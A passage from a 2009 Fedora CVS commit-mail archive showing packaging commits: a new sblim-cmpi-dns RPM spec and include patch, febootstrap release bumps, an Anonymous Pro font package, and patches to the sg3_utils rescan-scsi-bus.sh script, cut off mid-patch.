In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21366

Modified Files:
	sources 
Added Files:
	sblim-cmpi-dns-0.5.2-include.patch sblim-cmpi-dns.spec 
Log Message:
Initial commit

sblim-cmpi-dns-0.5.2-include.patch:
 smt_dns_array.cpp |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE sblim-cmpi-dns-0.5.2-include.patch ---
diff -up sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp
--- sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old	2005-10-18 14:13:45.000000000 +0200
+++ sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp	2009-02-16 16:32:31.000000000 +0100
@@ -18,6 +18,9 @@
 #include <string>
 #include <list>
 #include <iostream>
+#include <cstdlib>
+#include <cstring>
+#include <algorithm>
 
 using namespace std;
 


--- NEW FILE sblim-cmpi-dns.spec ---
%define tog_pegasus_version 2:2.5.1
%define provider_dir %{_libdir}/cmpi/

Name:           sblim-cmpi-dns
Version:        0.5.2
Release:        1%{?dist}
Summary:        SBLIM WBEM-SMT Dns

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Patch0:         sblim-cmpi-dns-0.5.2-include.patch

#BuildRequires:  sed
BuildRequires:  flex bison
BuildRequires:  sblim-tools-libra-devel
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-devel
Requires:       sblim-tools-libra
Requires:       bind
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig
Provides:       cmpi-dns = %{version}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description
The cmpi-dns package provides access to the dns configuration data
via CIMOM technology/infrastructure.
It contains the Dns CIM Model, CMPI Provider with the Samba task specific
Resource Access.

%package devel
Summary:        SBLIM WBEM-SMT Dns - Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description devel
SBLIM WBEM-SMT Dns Development Package contains header files and
link libraries for dependent provider packages

%package test
Summary:        SBLIM WBEM-SMT Dns - Testcase Files
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description test
SBLIM WBEM-SMT DNS Provider Testcase Files for the SBLIM Testsuite

%prep
%setup -q
%patch0 -p1 -b .include

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
   TESTSUITEDIR=%{_datadir}/sblim-testsuite \
   CIMSERVER=pegasus \
   PROVIDERDIR=%{provider_dir}
# try to remove RPATH from libtool generated libraries
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/cmpi/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
sed -i -e '1d;2i#!/usr/bin/awk -f' $RPM_BUILD_ROOT/%{_datadir}/%{name}/smt_dns_ra_lines.awk

%files
%defattr(-,root,root,0755)
%{_datadir}/doc/%{name}-%{version}
%{_datadir}/%{name}
%{_libdir}/libRaToolsDns.so.*
%{_libdir}/libIBM_DnsProviderTooling.so.*
%{_libdir}/libLinux_DnsGeneralProviderBasic.so.*
%config(noreplace) %{_sysconfdir}/smt_dns*.conf
%{_libdir}/cmpi/libcmpiLinux_Dns*.so
%{_libdir}/cmpi/libcmpiDnsCIM_ConcreteJob.so
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_includedir}/sblim/smt_dns*.h
%{_libdir}/libRaToolsDns.so
%{_libdir}/libIBM_DnsProviderTooling.so
%{_libdir}/libLinux_DnsGeneralProviderBasic.so

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/elephant.example2.com.conf
%{_datadir}/sblim-testsuite/buffalo.example2.com.conf
%{_datadir}/sblim-testsuite/named.conf
%{_datadir}/sblim-testsuite/testlocaldomain.zone
%{_datadir}/sblim-testsuite/testnamed.local
%{_datadir}/sblim-testsuite/testnamed.ca
%{_datadir}/sblim-testsuite/testlocalhost.zone
%{_datadir}/sblim-testsuite/testnamed.ip6.local
%{_datadir}/sblim-testsuite/testnamed.zero
%{_datadir}/sblim-testsuite/test-cmpi-dns.sh
%{_datadir}/sblim-testsuite/testnamed.broadcast
%{_datadir}/sblim-testsuite/cobra.example1.com.conf
%{_datadir}/sblim-testsuite/rhino.example1.com.conf
%{_datadir}/sblim-testsuite/system/linux/Linux_Dns*
%{_datadir}/sblim-testsuite/cim/Linux_Dns*

# Conditional definition of schema and registration files
%define DNS_SCHEMA %{_datadir}/%{name}/Linux_Dns.mof
%define DNS_REGISTRATION %{_datadir}/%{name}/Linux_Dns.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
  # Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun
# Run ldconfig only if not upgrading
if [ $1 -eq 0 ]; then
  /sbin/ldconfig
fi

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Thu Oct 15 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-dns/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:41:39 -0000	1.1
+++ sources	22 Oct 2009 12:34:22 -0000	1.2
@@ -0,0 +1 @@
+0977f52c746cd340d750fe2de2aa5753  sblim-cmpi-dns-0.5.2.tar.bz2



From rjones at fedoraproject.org  Thu Oct 22 12:41:43 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 22 Oct 2009 12:41:43 +0000 (UTC)
Subject: rpms/febootstrap/devel febootstrap.spec,1.10,1.11
Message-ID: <20091022124143.5D25A11C008C@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/febootstrap/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24645

Modified Files:
	febootstrap.spec 
Log Message:
Fix build.


Index: febootstrap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/febootstrap/devel/febootstrap.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- febootstrap.spec	22 Oct 2009 12:27:59 -0000	1.10
+++ febootstrap.spec	22 Oct 2009 12:41:43 -0000	1.11
@@ -1,7 +1,7 @@
 Summary:     Bootstrap a new Fedora system (like debootstrap)
 Name:        febootstrap
 Version:     2.5
-Release:     1%{?dist}
+Release:     2%{?dist}
 License:     GPLv2+
 Group:       Development/Tools
 URL:         http://et.redhat.com/~rjones/febootstrap/
@@ -72,16 +72,22 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/febootstrap-install
 %{_bindir}/febootstrap-minimize
 %{_bindir}/febootstrap-to-initramfs
+%{_bindir}/febootstrap-to-supermin
+%{_bindir}/febootstrap-supermin-helper
 %{_mandir}/man8/febootstrap.8*
 %{_mandir}/man8/febootstrap-run.8*
 %{_mandir}/man8/febootstrap-install.8*
 %{_mandir}/man8/febootstrap-minimize.8*
 %{_mandir}/man8/febootstrap-to-initramfs.8*
+%{_mandir}/man8/febootstrap-to-supermin.8*
+%{_mandir}/man8/febootstrap-supermin-helper.8*
 
 
 %changelog
-* Thu Oct 22 2009 Richard Jones <rjones at redhat.com> - 2.5-1
+* Thu Oct 22 2009 Richard Jones <rjones at redhat.com> - 2.5-2
 - New upstream release 2.5.
+- Remove BR upx (not needed by upstream).
+- Two more scripts / manpages.
 
 * Thu Jul 30 2009 Richard Jones <rjones at redhat.com> - 2.4-1
 - New upstream release 2.4.



From rjones at fedoraproject.org  Thu Oct 22 12:41:46 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 22 Oct 2009 12:41:46 +0000 (UTC)
Subject: rpms/febootstrap/F-12 febootstrap.spec,1.10,1.11
Message-ID: <20091022124146.A953011C008C@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/febootstrap/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24670

Modified Files:
	febootstrap.spec 
Log Message:
Fix build.


Index: febootstrap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/febootstrap/F-12/febootstrap.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- febootstrap.spec	22 Oct 2009 12:28:06 -0000	1.10
+++ febootstrap.spec	22 Oct 2009 12:41:46 -0000	1.11
@@ -1,7 +1,7 @@
 Summary:     Bootstrap a new Fedora system (like debootstrap)
 Name:        febootstrap
 Version:     2.5
-Release:     1%{?dist}
+Release:     2%{?dist}
 License:     GPLv2+
 Group:       Development/Tools
 URL:         http://et.redhat.com/~rjones/febootstrap/
@@ -72,16 +72,22 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/febootstrap-install
 %{_bindir}/febootstrap-minimize
 %{_bindir}/febootstrap-to-initramfs
+%{_bindir}/febootstrap-to-supermin
+%{_bindir}/febootstrap-supermin-helper
 %{_mandir}/man8/febootstrap.8*
 %{_mandir}/man8/febootstrap-run.8*
 %{_mandir}/man8/febootstrap-install.8*
 %{_mandir}/man8/febootstrap-minimize.8*
 %{_mandir}/man8/febootstrap-to-initramfs.8*
+%{_mandir}/man8/febootstrap-to-supermin.8*
+%{_mandir}/man8/febootstrap-supermin-helper.8*
 
 
 %changelog
-* Thu Oct 22 2009 Richard Jones <rjones at redhat.com> - 2.5-1
+* Thu Oct 22 2009 Richard Jones <rjones at redhat.com> - 2.5-2
 - New upstream release 2.5.
+- Remove BR upx (not needed by upstream).
+- Two more scripts / manpages.
 
 * Thu Jul 30 2009 Richard Jones <rjones at redhat.com> - 2.4-1
 - New upstream release 2.4.



From rjones at fedoraproject.org  Thu Oct 22 12:41:47 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 22 Oct 2009 12:41:47 +0000 (UTC)
Subject: rpms/febootstrap/EL-5 febootstrap.spec,1.11,1.12
Message-ID: <20091022124147.E03BE11C008C@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/febootstrap/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24697

Modified Files:
	febootstrap.spec 
Log Message:
Fix build.


Index: febootstrap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/febootstrap/EL-5/febootstrap.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- febootstrap.spec	22 Oct 2009 12:28:07 -0000	1.11
+++ febootstrap.spec	22 Oct 2009 12:41:47 -0000	1.12
@@ -1,7 +1,7 @@
 Summary:     Bootstrap a new Fedora system (like debootstrap)
 Name:        febootstrap
 Version:     2.5
-Release:     1%{?dist}
+Release:     2%{?dist}
 License:     GPLv2+
 Group:       Development/Tools
 URL:         http://et.redhat.com/~rjones/febootstrap/
@@ -72,16 +72,22 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/febootstrap-install
 %{_bindir}/febootstrap-minimize
 %{_bindir}/febootstrap-to-initramfs
+%{_bindir}/febootstrap-to-supermin
+%{_bindir}/febootstrap-supermin-helper
 %{_mandir}/man8/febootstrap.8*
 %{_mandir}/man8/febootstrap-run.8*
 %{_mandir}/man8/febootstrap-install.8*
 %{_mandir}/man8/febootstrap-minimize.8*
 %{_mandir}/man8/febootstrap-to-initramfs.8*
+%{_mandir}/man8/febootstrap-to-supermin.8*
+%{_mandir}/man8/febootstrap-supermin-helper.8*
 
 
 %changelog
-* Thu Oct 22 2009 Richard Jones <rjones at redhat.com> - 2.5-1
+* Thu Oct 22 2009 Richard Jones <rjones at redhat.com> - 2.5-2
 - New upstream release 2.5.
+- Remove BR upx (not needed by upstream).
+- Two more scripts / manpages.
 
 * Thu Jul 30 2009 Richard Jones <rjones at redhat.com> - 2.4-1
 - New upstream release 2.4.



From ozamosi at fedoraproject.org  Thu Oct 22 12:44:39 2009
From: ozamosi at fedoraproject.org (Robin Sonefors)
Date: Thu, 22 Oct 2009 12:44:39 +0000 (UTC)
Subject: rpms/msimonson-anonymouspro-fonts/devel
	msimonson-anonymouspro-fonts-fontconfig.conf, NONE,
	1.1 msimonson-anonymouspro-fonts.spec, NONE, 1.1
Message-ID: <20091022124439.3857E11C008C@cvs1.fedora.phx.redhat.com>

Author: ozamosi

Update of /cvs/pkgs/rpms/msimonson-anonymouspro-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25401

Added Files:
	msimonson-anonymouspro-fonts-fontconfig.conf 
	msimonson-anonymouspro-fonts.spec 
Log Message:
Add missing files



--- NEW FILE msimonson-anonymouspro-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>monospace</family>
    <prefer>
      <family>Anonymous Pro</family>
    </prefer>
  </alias>
  <alias>
    <family>Anonymous Pro</family>
    <default>
      <family>monospace</family>
    </default>
  </alias>
  <alias binding="same">
    <family>Anonymous</family>
    <accept>
      <family>Anonymous Pro</family>
    </accept>
  </alias>
</fontconfig>


--- NEW FILE msimonson-anonymouspro-fonts.spec ---
%global fontname msimonson-anonymouspro
%global fontconf 61-%{fontname}.conf
%global archivename AnonymousPro

Name:           %{fontname}-fonts
Version:        1.001
Release:        2%{?dist}
Summary:        A coding-friendly monospace font

Group:          User Interface/X
License:        OFL
URL:            http://www.ms-studio.com/FontSales/anonymouspro.html
Source0:        http://www.ms-studio.com/FontSales/AnonymousPro.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Anonymous Pro is a family of fixed-width fonts designed especially with coding
in mind. Characters that could be mistaken for one another (O, 0, I, l, 1,
etc.) have distinct shapes to make them easier to tell apart in the context of
source code.

It has support for most Western and European Latin-based languages, Greek, and
Cyrillic. It also includes special ?box drawing? characters.

Anonymous Pro is based on an earlier font, Anonymous, which is a TrueType
version of Susan Lesch and David Lamkins? font Anonymous 9, a freeware
Macintosh bitmap font.

%prep
%setup -q -n %{archivename}
for txt in "OFL.txt" "OFL-FAQ.txt"; do
    fold -s $txt > $txt.new
    sed -i 's/\r//' $txt.new
    touch -r $txt $txt.new
    mv $txt.new $txt
done

%build


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} *.ttf

%doc *.txt

%changelog
* Sat Oct 17 2009 Robin Sonefors <ozamosi at flukkost.nu> - 1.001-2
- Change summary, fix fontconfig file

* Thu Oct 15 2009 Robin Sonefors <ozamosi at flukkost.nu> - 1.001-1
- Initial packaging



From sharkcz at fedoraproject.org  Thu Oct 22 12:48:53 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Thu, 22 Oct 2009 12:48:53 +0000 (UTC)
Subject: rpms/sg3_utils/devel rescan-scsi-bus-fixes.patch, NONE,
	1.1 .cvsignore, 
	1.11, 1.12 sg3_utils.spec, 1.29, 1.30 sources, 1.11, 1.12
Message-ID: <20091022124853.F0F2A11C008C@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/sg3_utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27112

Modified Files:
	.cvsignore sg3_utils.spec sources 
Added Files:
	rescan-scsi-bus-fixes.patch 
Log Message:
* Thu Oct 22 2009 Dan Hor?k <dan at danny.cz> - 1.28-1
- update to version 1.28
- added fixes from RHEL to rescan-scsi-bus.sh
- added scsi-rescan symlink to the rescan-scsi-bus.sh script


rescan-scsi-bus-fixes.patch:
 b/rescan-scsi-bus.sh |  105 ++++++++++++++++++++++++++++-----------------------
 rescan-scsi-bus.sh   |   72 +++++++++++++++++++++-------------
 2 files changed, 103 insertions(+), 74 deletions(-)

--- NEW FILE rescan-scsi-bus-fixes.patch ---
>From 9aebc83c6dc1e1c824552792bab7f9edac6d41a6 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Tue, 7 Jul 2009 14:22:27 +0200
Subject: [PATCH] suse patch 090127

---
 rescan-scsi-bus.sh |  104 +++++++++++++++++++++++++++++----------------------
 1 files changed, 59 insertions(+), 45 deletions(-)

diff --git a/rescan-scsi-bus.sh b/rescan-scsi-bus.sh
index 4378e20..ce61ab2 100644
--- a/rescan-scsi-bus.sh
+++ b/rescan-scsi-bus.sh
@@ -24,10 +24,6 @@ unsetcolor ()
 findhosts_26 ()
 {
   hosts=
-  if ! ls /sys/class/scsi_host/host* >/dev/null 2>&1; then
-    echo "No SCSI host adapters found in sysfs"
-    exit 1;
-  fi 
   for hostdir in /sys/class/scsi_host/host*; do
     hostno=${hostdir#/sys/class/scsi_host/host}
     if [ -f $hostdir/isp_name ] ; then
@@ -39,8 +35,11 @@ findhosts_26 ()
     fi
     hosts="$hosts $hostno"
     echo "Host adapter $hostno ($hostname) found."
-  done
-  hosts=`echo $hosts | sed 's/ /\n/g' | sort -n`
+  done  
+  if [ -z "$hosts" ] ; then
+    echo "No SCSI host adapters found in sysfs"
+    exit 1;
+  fi
 }
 
 # Return hosts. /proc/scsi/HOSTADAPTER/? must exist
@@ -65,6 +64,29 @@ findhosts ()
   done
 }
 
+printtype ()
+{
+    local type=$1
+
+    case "$type" in
+	0) echo "Direct-Access    " ;;
+	1) echo "Sequential-Access" ;;
+	2) echo "Printer          " ;;
+	3) echo "Processor        " ;;
+	4) echo "WORM             " ;;
+	5) echo "CD-ROM           " ;;
+	6) echo "Scanner          " ;;
+	7) echo "Optical Device   " ;;
+	8) echo "Medium Changer   " ;;
+	9) echo "Communications   " ;;
+	10) echo "Unknown          " ;;
+	11) echo "Unknown          " ;;
+	12) echo "RAID             " ;;
+	13) echo "Enclosure        " ;;
+	14) echo "Direct-Access-RBC" ;;
+	*) echo "Unknown          " ;;
+    esac
+}
 # Get /proc/scsi/scsi info for device $host:$channel:$id:$lun
 # Optional parameter: Number of lines after first (default = 2), 
 # result in SCSISTR, return code 1 means empty.
@@ -89,24 +111,7 @@ $SCSIDEV"
 	  if [ "$LN" -gt 1 ] ; then
 	      ILVL=$(cat ${SCSIPATH}/device/scsi_level)
 	      type=$(cat ${SCSIPATH}/device/type)
-	      case "$type" in
-		  0) ITYPE="Direct-Access    " ;;
-		  1) ITYPE="Sequential-Access" ;;
-		  2) ITYPE="Printer          " ;;
-		  3) ITYPE="Processor        " ;;
-		  4) ITYPE="WORM             " ;;
-		  5) ITYPE="CD-ROM           " ;;
-		  6) ITYPE="Scanner          " ;;
-		  7) ITYPE="Optical Device   " ;;
-		  8) ITYPE="Medium Changer   " ;;
-		  9) ITYPE="Communications   " ;;
-		  10) ITYPE="Unknown          " ;;
-		  11) ITYPE="Unknown          " ;;
-		  12) ITYPE="RAID             " ;;
-		  13) ITYPE="Enclosure        " ;;
-		  14) ITYPE="Direct-Access-RBC" ;;
-		  *) ITYPE="Unknown          " ;;
-	      esac
+	      ITYPE=$(printtype $type)
 	      SCSITMP=$(printf '  Type:   %-16s                ANSI SCSI revision: %02d' "$ITYPE" "$((ILVL - 1))")
 	      SCSISTR="$SCSISTR
 $SCSITMP"
@@ -192,20 +197,21 @@ testonline ()
   IPQUAL=`echo "$INQ" | sed -n 's/ *PQual=\([0-9]*\)  Device.*/\1/p'`
   if [ "$IPQUAL" != 0 ] ; then
     echo -e "\e[A\e[A\e[A\e[A${red}$SGDEV changed: ${bold}\nLU not available (PQual $IPQUAL)${norm}\n\n\n"
-    return 1
+    return 2
   fi
 
+  TYPE=$(printtype $IPTYPE)
   procscsiscsi
   TMPSTR=`echo "$SCSISTR" | grep 'Vendor:'`
   if [ "$TMPSTR" != "$STR" ]; then
-    echo -e "\e[A\e[A\e[A\e[A${red}$SGDEV changed: ${bold}\nfrom:${TMPSTR#* } \nto: $STR ${norm}\n\n\n"
+    echo -e "\e[A\e[A\e[A\e[A${red}$SGDEV changed: ${bold}\nfrom:${SCSISTR#* } \nto: $STR ${norm}\n\n\n"
     return 1
   fi
   TMPSTR=`echo "$SCSISTR" | sed -n 's/.*Type: *\(.*\) *ANSI.*/\1/p'`
   if [ $TMPSTR != $TYPE ] ; then
-     echo -e "\e[A\e[A\e[A\e[A${red}$SGDEV changed: ${bold}\nfrom:${TMPSTR} \nto: $TYPE ${norm}\n\n\n"
-     return 1
-  fi  
+    echo -e "\e[A\e[A\e[A\e[A${red}$SGDEV changed: ${bold}\nfrom:${TMPSTR} \nto: $TYPE ${norm}\n\n\n"
+    return 1
+  fi
   return $RC
 }
 
@@ -230,6 +236,7 @@ chanlist ()
   local tmpchan
 
   for dev in /sys/class/scsi_device/${host}:* ; do
+    [ -d $dev ] || continue;
     hcil=${dev##*/}
     cil=${hcil#*:}
     chan=${cil%%:*}
@@ -254,6 +261,7 @@ idlist ()
   local tmpid
 
   for dev in /sys/class/scsi_device/${host}:${channel}:* ; do
+    [ -d $dev ] || continue;
     hcil=${dev##*/}
     cil=${hcil#*:}
     il=${cil#*:}
@@ -261,6 +269,7 @@ idlist ()
     for tmpid in $idsearch ; do
       if test "$target" -eq $tmpid ; then
 	target=
+	break
       fi
     done
     if test -n "$target" ; then
@@ -272,9 +281,9 @@ idlist ()
 # Returns the list of existing LUNs
 getluns ()
 {
-  if test ! -x /usr/bin/sg_luns; then return; fi
+  if test ! -x /usr/bin/sg_luns; then return ""; fi
   sgdevice
-  if test -z "$SGDEV"; then return; fi
+  if test -z "$SGDEV"; then return ""; fi
   sg_luns -d /dev/$SGDEV | sed -n 's/.*lun=\(.*\)/\1/p'
 }
 
@@ -291,31 +300,36 @@ dolunscan()
     # Device exists: Test whether it's still online
     # (testonline returns 1 if it's gone or has changed)
     testonline
-    if test $? = 1 -o ! -z "$forceremove"; then
+    RC=$?
+    if test $RC != 0 -o ! -z "$forceremove"; then
       echo -en "\r\e[A\e[A\e[A${red}REM: "
       echo "$SCSISTR" | head -n1
       echo -e "${norm}\e[B\e[B"
       if test -e /sys/class/scsi_device/${host}:${channel}:${id}:${lun}/device; then
         echo 1 > /sys/class/scsi_device/${host}:${channel}:${id}:${lun}/device/delete
-        # Try reading, should fail if device is gone
-        echo "$channel $id $lun" > /sys/class/scsi_host/host${host}/scan
+	if test $RC -eq 1 -o $lun -eq 0 ; then
+          # Try readding, should fail if device is gone
+          echo "$channel $id $lun" > /sys/class/scsi_host/host${host}/scan
+	fi
       else
         echo "scsi remove-single-device $devnr" > /proc/scsi/scsi
-        # Try reading, should fail if device is gone
-        echo "scsi add-single-device $devnr" > /proc/scsi/scsi
+	if test $RC -eq 1 -o $lun -eq 0 ; then
+          # Try readding, should fail if device is gone
+          echo "scsi add-single-device $devnr" > /proc/scsi/scsi
+	fi
       fi
     fi
-    if test $RC = 0 ; then
+    if test $RC = 0 -o "$forcerescan" ; then
       if test -e /sys/class/scsi_device/${host}:${channel}:${id}:${lun}/device; then
         echo 1 > /sys/class/scsi_device/${host}:${channel}:${id}:${lun}/device/rescan
       fi
     fi
-
     printf "\r\x1b[A\x1b[A\x1b[A${yellow}OLD: $norm"
     testexist
     if test -z "$SCSISTR"; then
       printf "\r${red}DEL: $norm\r\n\n"
       let rmvd+=1;
+      return 1
     fi
   fi
   if test -z "$SCSISTR"; then
@@ -368,16 +382,14 @@ doreportlun()
   lunsearch=`getluns`
   lunremove=
   # Check existing luns
-  for dev in /sys/class/scsi_device/$host\:$channel\:$id\:*; do
+  for dev in /sys/class/scsi_device/${host}:${channel}:${id}:*; do
+    [ -d "$dev" ] || continue
     lun=${dev##*:}
     newsearch=
     oldsearch="$lunsearch"
     for tmplun in $lunsearch; do
       if test $tmplun -eq $lun ; then
-	# Optimization: don't scan lun 0 again
-	if [ $lun -ne 0 ]; then
-	  dolunscan
-	fi
+	dolunscan
       else
 	newsearch="$newsearch $tmplun"
       fi
@@ -405,7 +417,7 @@ dosearch ()
       idlist
     fi
     for id in $idsearch; do
-      if test -z "$lunsearch"; then
+      if test -z "$lunsearch" ; then
 	doreportlun
       else
 	for lun in $lunsearch; do
@@ -428,6 +440,7 @@ if test @$1 = @--help -o @$1 = @-h -o @$1 = @-?; then
     echo " -i      issue a FibreChannel LIP reset     [default: disabled]"
     echo "--remove:        same as -r"
     echo "--issue-lip:     same as -i"
+    echo "--forcerescan:   Rescan existing devices"
     echo "--forceremove:   Remove and readd every device (DANGEROUS)"
     echo "--nooptscan:     don't stop looking for LUNs is 0 is not found"
     echo "--color:         use coloured prefixes OLD/NEW/DEL"
@@ -483,7 +496,7 @@ fi
 unsetcolor
 lunsearch=""
 idsearch=`seq 0 7`
-channelsearch="0"
+channelsearch=""
 remove=
 forceremove=
 optscan=1
@@ -505,6 +518,7 @@ while test ! -z "$opt" -a -z "${opt##-*}"; do
     r) remove=1 ;;
     i) lipreset=1 ;;
     -remove)      remove=1 ;;
+    -forcerescan) remove=1; forcerescan=1 ;;
     -forceremove) remove=1; forceremove=1 ;;
     -hosts=*)     arg=${opt#-hosts=};   hosts=`expandlist $arg` ;;
     -channels=*)  arg=${opt#-channels=};channelsearch=`expandlist $arg` ;; 
-- 
1.6.0.6

>From 9390109b3b86afe2ff7b260f483e3463d70c851c Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Tue, 7 Jul 2009 15:25:54 +0200
Subject: [PATCH] netapp - fixes in doreportlun

---
 rescan-scsi-bus.sh |   64 ++++++++++++++++++++++++++++++++++------------------
 1 files changed, 42 insertions(+), 22 deletions(-)

diff --git a/rescan-scsi-bus.sh b/rescan-scsi-bus.sh
index ce61ab2..a939b1d 100644
--- a/rescan-scsi-bus.sh
+++ b/rescan-scsi-bus.sh
@@ -357,37 +357,57 @@ dolunscan()
 # Perform report lun scan
 doreportlun()
 {
-  lun=0
+  lun=
   SCSISTR=
-  devnr="$host $channel $id $lun"
-  echo "Scanning for device $devnr ..."
-  printf "${yellow}OLD: $norm"
-  testexist
-  if test -z "$SCSISTR"; then
-    # Device does not exist, try to add
-    printf "\r${green}NEW: $norm"
-    if test -e /sys/class/scsi_host/host${host}/scan; then
-      echo "$channel $id $lun" > /sys/class/scsi_host/host${host}/scan 2> /dev/null
-    else
-      echo "scsi add-single-device $devnr" > /proc/scsi/scsi
-    fi
+  for dev in /sys/class/scsi_device/${host}:${channel}:${id}:*; do
+        if [ -d "$dev" ]; then
+                lun=${dev##*:}
+                break
+        else
+                continue
+        fi
+  done
+  #If not a single LUN is present then assign lun=0
+  if [ -z $lun ]; then
+    lun=0
+    devnr="$host $channel $id $lun"
+    echo "Scanning for device $devnr ..."
+    printf "${yellow}OLD: $norm"
     testexist
     if test -z "$SCSISTR"; then
-      # Device not present
-      printf "\r\x1b[A";
-      lunsearch=
-      return
+      # Device does not exist, try to add
+      printf "\r${green}NEW: $norm"
+      if test -e /sys/class/scsi_host/host${host}/scan; then
+        echo "$channel $id $lun" > /sys/class/scsi_host/host${host}/scan 2> /dev/null
+      else
+        echo "scsi add-single-device $devnr" > /proc/scsi/scsi
+      fi
+      testexist
+      if test -z "$SCSISTR"; then
+        # Device not present
+        printf "\r\x1b[A";
+        lunsearch=
+        return
+      fi
     fi
   fi
-  lunsearch=`getluns`
+  flag=0
+  lun_search="`getluns`"
+  # Set flag=1 if all the LUNs are removed
+  if [ "${#lun_search}" = "1" ]; then
+    flag=1
+  fi
   lunremove=
   # Check existing luns
   for dev in /sys/class/scsi_device/${host}:${channel}:${id}:*; do
     [ -d "$dev" ] || continue
     lun=${dev##*:}
+       if [ "$flag" = "1" ]; then
